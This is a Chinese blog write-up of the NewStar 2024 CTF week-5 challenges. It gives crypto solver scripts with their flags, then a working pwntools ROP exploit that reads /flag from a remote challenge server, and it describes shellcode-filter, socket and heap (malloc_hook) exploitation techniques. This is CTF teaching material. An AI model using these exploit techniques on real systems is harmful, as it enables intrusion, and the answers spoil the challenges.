[NewStar 2024] week5完结

每次都需要用手机验证码登录,题作的差不多就没再进过。今天把week5解出的部分记录下。好像时间过去很久了。

Crypto

没e也能完

这题给了e,p,q,dp,dq。真不清楚还缺啥 long_to_bytes(pow(c,dp,p))

格格你好棒

给了a,b和提示((p+2*r) * 3*a + q) % b < 70 其中r是个短量。可以推出

3ap+6ra+q = kb+alpha 显然这里的k也就一两位,暂时弄个8爆破一下(别更他名字里的格)

for k in range(1,8):tp = k*b//(3*a)if tp.nbits()==512:print(tp)tq = k*b - tp*3*a for i in range(70):q = tq + i if isPrime(q):print(long_to_bytes(int(pow(c,inverse_mod(0x10001,q-1),q))))

这个代码有点斜,从一开始就吐槽python是多么神经非要用空格代替块标记。 为了减少缩进还要用逆向的规则not continue。就不用逆向的,就斜着写。python最大的缺点应该就是用空格代替块标记吧。

easy_ECC

把给的数代进去就行

#C1 = m + r*K = m +r*k*G  = m + k*C2
#C1 - k*C2 = m
E = EllipticCurve(GF(p),[a,b])
C1,C2 = E(c1),E(c2)
m = C1 - k*C2
x,y = m.xy()
long_to_bytes(int(c_left*inverse_mod(int(x),p)%p))+long_to_bytes(int(c_right*inverse_mod(int(y),p)%p))
#flag{This_is_the_last_crypto_}

RSA?md5!

flag就差7个字节,copper一下就行

hm0 = pow(s,e,n)
hm = long_to_bytes(int(hm0))
#b'86133884de98baada58a8c4de66e15b8'
#部分明文已知
#flag = 'flag{th1s_1s_my_k3y:' + m + '0x86133884de98baada58a8c4de66e15b8}'
P.<x> = PolynomialRing(Zmod(n))
f = (x*256^35 + bytes_to_long(b'flag{th1s_1s_my_k3y:')*256^(35+7) + bytes_to_long(b'0x86133884de98baada58a8c4de66e15b8}'))^e - c 
#res = f.monic().small_roots(X=256^7)
#res
#long_to_bytes(int(res[0]))
#cmd5查询
m0 = 'adm0n12'
get_flag(m0)
#flag{th1s_1s_my_k3y:adm0n120xbfab06114aa460b85135659e359fe443f9d91950ca95cbb2cbd6f88453e2b08b}

学以致用

3个方程2个未知数,度又很低,直接求groebner_basis

gift = b'GoOd_byE_nEw_5t@r'
m3 = bytes_to_long(gift)
P.<m1,m2> = PolynomialRing(Zmod(n))
f1 = m1^3 - c1
f2 = m2^3 - c2 
f3 = (m1+m2+m3)^3 - c3 F = [f1,f2,f3]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)res=[x.constant_coefficient() for x in I]
m1 = -res[0]%n
m2 = -res[1]%n
long_to_bytes(int(m1))
long_to_bytes(int(m2))
#flag{W1Sh_you_Bec0me_an_excelL3nt_crypt0G2@pher}

PWN

C_or_CPP

先是c输入的时候泄露残留得到ld(一般是libc,不过ld也有对应的可执行块和pop_rdi等gadget)然后是c++到c复制的时候有溢出。这锅都让C背了

from pwn import *
context(arch='amd64', log_level='debug')ld = ELF('./ld-linux-x86-64.so.2')
libc = ELF('./libc.so.6')
elf = ELF('./C_or_CPP')#p = process('./C_or_CPP')
p = remote('47.104.11.21', 32794)p.sendlineafter(b"Please choose an option: ", b'2')
p.recvuntil(b"Address of c_string: ")
stack = int(p.recvline(), 16) +0x70
p.sendlineafter(b"C++ String input: ", b'END')
p.sendafter(b"C String input: ", b'A'*0x50)
p.recvuntil(b'A'*0x50)
ld_base = u64(p.recv(6)+b'\0\0') - 0x3a040
pop_rdi = ld_base + 0x000000000000351e # pop rdi ; ret
pop_rsi = ld_base + 0x00000000000054da # pop rsi ; ret
pop_rdx = ld_base + 0x0000000000020323 # pop rdx ; pop rbx ; ret
pop_rax_rdx = ld_base + 0x0000000000020322 # pop rax ; pop rdx ; pop rbx ; ret
print(f"{stack = :x} {ld_base = :x}")p.sendlineafter(b"Please choose an option: ", b'5')
p.sendlineafter(b"Try to say something: ", flat(b'\0'*0x48, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x402e4a))
libc.address = u64(p.recv(6) + b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")#gdb.attach(p, "b*0x402f8b\nc")
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; retsyscall = libc.sym['getpid']+9
p.sendlineafter(b"Try to say something: ", flat([b'/flag\0\0\0'*8,0,  pop_rdi, stack, pop_rsi, 0, pop_rax,2,syscall,pop_rdi, 3, pop_rsi, 0x408800, pop_rax_rdx, 0,0x50,0, syscall,pop_rdi, 1, pop_rax, 1, syscall]))p.interactive()

simple_shellcode

以下待完成。这个的漏洞在于当输入中包含非字母时会删除,但是指针i并不会在原地保留继续检查,而是像正常指针一样移到下一个,比如当前是2,删除后3会变为2而下个检查是3,这样不合法的字节写两遍即可绕过检查。也可以用字母写shellcode就是麻烦点。对于每次只能输入8字节,就每次输入8字节就行了多输入几次。

然后对于沙箱用openat代替read用mmap代替read用writev代码write

no_output

对于关闭0,1,2的情况,因为与用户的连接已经中断,侧信道是不行了。听说打内网的时候可以开socket然后send。可以咱也没有互联网的IP,算了。看了官方WP还真是开socket,无语。

当时还想到另外一种情况fork+ptrace不过没成功,开两个进程不清楚pid也没成功。不过WP说也可以但pid怎么弄还是个问题。

Elden_Ring

两个绕过,第1个是strncmp这个函数跟strcmp,stricmp差不多,当参1串\0里结束,所以只需要输入一个sh256后开头是0的串即可,这个需要爆破一下,平均1/256

第2个是输入base64值去=,会申请L//4*3+1的空间,而解码后长度能达到L//4*3+2,也就是有个off_by_one,堆题也就够了。后边是2.23的用realloc_hook 调偏移+malloc_hook

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/885505.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

26.校园快递物流管理系统(基于SSM和Vue的Java项目)

目录 1.系统的受众说明 2.相关技术 2.1 JAVA简介 2.2 SSM三大框架 2.3 MyEclipse开发环境 2.4 Tomcat服务器 2.5 MySQL数据库 2.6访问数据库实现方法 3. 系统分析 3.1 需求分析 3.2 系统可行性分析 3.2.1技术可行性&#xff1a;技术背景 3.2.2经济可行性…

数据编排与ETL有什么关系?

数据编排作为近期比较有热度的一个话题&#xff0c;讨论度比较高&#xff0c;同时数据编排的出现也暗示着数字化进程的自动化发展。在谈及数据编排时&#xff0c;通常也会谈到ETL&#xff0c;这两个东西有相似点也有不同点。 数据编排和ETL&#xff08;提取、转换、加载&#x…

CSS教程(二)- CSS选择器

1. 作用 匹配文档中的某些元素为其应用样式。根据不同需求把不同的标签选出来。 2. 分类 分类 基础选择器 包含 标签选择器、ID选择器、类选择器、通用选择器等 复合选择器 包含 后代选择器、子代选择器、伪类选择器等 1 标签选择器 介绍 又称为元素选择器&#xff0c;根…

材质(二)——材质参数化,从源材质继承生成不同的材质实例

继承原材质&#xff0c;对外提供参数。 更改调制不同的参数&#xff0c;生成不同的材质实例。 类似于&#xff0c;类的继承。有一个基类Base.继承生成为子类 A_Base,B_Base,C_Base

WordPress 2024主题实例镜像

目录 隐藏 1 WordPress 2024主题实例镜像启用的插件 2 WordPress 2024主题实例镜像截图 WordPress 2024主题实例镜像启用的插件 WordPress 2024主题实例镜像启用了2024主题&#xff0c;配置了&#xff1a; Akismet 反垃圾评论插件 Admin Notices Manager仪表盘通知隐藏…

Java 基于 SpringBoot+Vue 的水果在线销售系统开发(附源码,文档)

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

如何用Python代码计算文件的SHA256?

以下是使用 Python 计算文件的 SHA256 哈希值的例子。代码的功能是利用Python代码计算文件的SHA256&#xff0c;同时将结果打印到屏幕和文件。 import hashlib import sysdef calculate_sha256(file_path):sha256_hash hashlib.sha256()with open(file_path, "rb")…

腾讯云nginx SSL证书配置

本章教程,记录在使用腾讯云域名nginx证书配置SSL配置过程。 一、nginx配置 域名和证书,替换成自己的即可。证书文件可以自定义路径位置。服务器安全组或者防火墙需要开放80和443端口。 server {#SSL 默认访问端口号为 443listen 443 ssl; #请填写绑定证书的域名server_name c…

【双十一特惠】腾讯云省钱攻略:如何智取云计算资源

前言 双十一不仅是购物的狂欢节&#xff0c;对于云计算用户来说&#xff0c;更是一个节省成本的绝佳时机。腾讯云&#xff0c;作为国内领先的云计算服务商&#xff0c;每年双十一都会推出一系列优惠活动。本文将为您揭开如何在这个购物节中&#xff0c;最大化利用腾讯云的优惠…

032集——圆转多段线(Circle to Polyline)(CAD—C#二次开发入门)

CAD中圆可转为带有凸度的多段线以方便后期数据计算、处理&#xff0c;效果如下&#xff1a; 白色为圆&#xff0c;红色为转换后的多段线&#xff08;为区分&#xff0c;已手工偏移多段线&#xff09; public static void XX(){var curves Z.db.SelectEntities<Entity>…

【极客兔兔-Web框架Gee详解】Day2 上下文Context

文章目录 一、框架结构二、设计上下文(Context):day2-context/gee/context.go1. 设计Context必要性1.1 接口粒度过细:1.2 缺乏扩展性:2. 代码3. 优势三、路由(Router): day2-context/gee/router.go四、框架入口:day2-context/gee/gee.go1. 代码五、框架使用: day2-context/m…

HTB:Sightless[WriteUP]

目录 连接至HTB服务器并启动靶机 使用nmap对靶机TCP端口进行开放扫描 继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描 首先尝试对靶机FTP服务进行匿名登录 使用curl访问靶机80端口 使用浏览器可以直接访问该域名 使用浏览器直接访问该子域 Getshell 横向移动 查…

Oracle视频基础1.4.4练习

1.4.4 [dbs] 删干净上次创建的bbk ll rm -f *dbf ll rm -f spfilebbk.ora clear ll创建bbk的pfile&#xff0c;准备对应的目录 ll strings spfilewilson.ora | more strings spfilewilson.ora > initbbk.ora :%s/wilson/bbk :%s/*\.//g :wq ll vi initbbk.ora####### 创…

【.NET 8 实战--孢子记账--从单体到微服务】--简易权限--角色可访问接口管理

咱们继续来编写孢子记账的简易权限&#xff0c;这篇文章中我们将编写角色可访问接口的管理API&#xff0c;同样我不会把完整的代码全都列出来&#xff0c;只会列出部分代码&#xff0c;其余代码我希望大家能自己手动编写&#xff0c;然后对比项目代码。废话不多说&#xff0c;开…

Monetico: 文本到图像合成的革命性变革

在人工智能和创意技术领域&#xff0c;Collov-Labs 推出了具有开创性的文本到图像合成模型 Monetico&#xff0c;它将彻底改变我们创建和可视化数字内容的方式。Monetico 是著名的 Meissonic 模型的有效再现&#xff0c;它提供了一种独特且易于使用的方法&#xff0c;可根据文本…

海康私有化视频平台EasyCVR视频分析设备平台流媒体协议RTMP、HTTP-FLV、HLS的简单对比

在当今的数字化世界中&#xff0c;视频流协议的选择对于确保流畅、高效的视频传输至关重要。随着互联网技术的快速发展&#xff0c;直播和视频点播服务已经成为人们日常生活中不可或缺的一部分。无论是安防监控、在线教育、远程会议还是娱乐直播&#xff0c;用户对于视频流的实…

Java多线程详解⑥(全程干货!!!)死锁 || 构成死锁的条件 || 死锁总结 || Java标准库的线程安全类

这里是Themberfue 在上一节中&#xff0c;我们介绍了线程安全问题&#xff0c;对锁的概念以及使用 在本节中&#xff0c;进入 "死锁" 的概念以及如何产生 "死锁" 死锁 一个线程&#xff0c;一把锁&#xff0c;同时加两把锁 要想进入死锁的介绍和概念&a…

适用于 Windows 11/10 电脑 的 13 个最佳文件恢复软件

如果您由于系统故障、硬件损坏、人为错误或病毒攻击而丢失了重要文件或文件夹。不用担心&#xff0c;因为我们随时为您提供帮助&#xff01;借助正确的文件恢复工具&#xff0c;您可以立即检索计算机上不同类型的文件。如果你有为您的文件创建备份&#xff0c;你不用担心&#…

> 甘晴void:课程资源免费下载

为进一步减少信息差&#xff0c;便利同学&#xff0c;我把部分重要课程的轨迹&#xff08;期中期末考卷、机考题、作业答案、代码、工程项目等&#xff09;上传至Github。网址链接如下&#xff1a; https://github.com/wolfvoid/HNU-resourses Github平台的优势是下载免费&am…

华为OD机试 - 求小球落地5次后所经历的路程和第5次反弹的高度 (Java 2024 E卷 100分)

华为OD机试 2024E卷题库疯狂收录中&#xff0c;刷题 点这里。 实战项目访问&#xff1a;http://javapub.net.cn/ 专栏导读 本专栏收录于 《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;E卷D卷A卷B卷C卷&#xff09;》 。 刷的越多&#xff0c;抽中的概率越大&…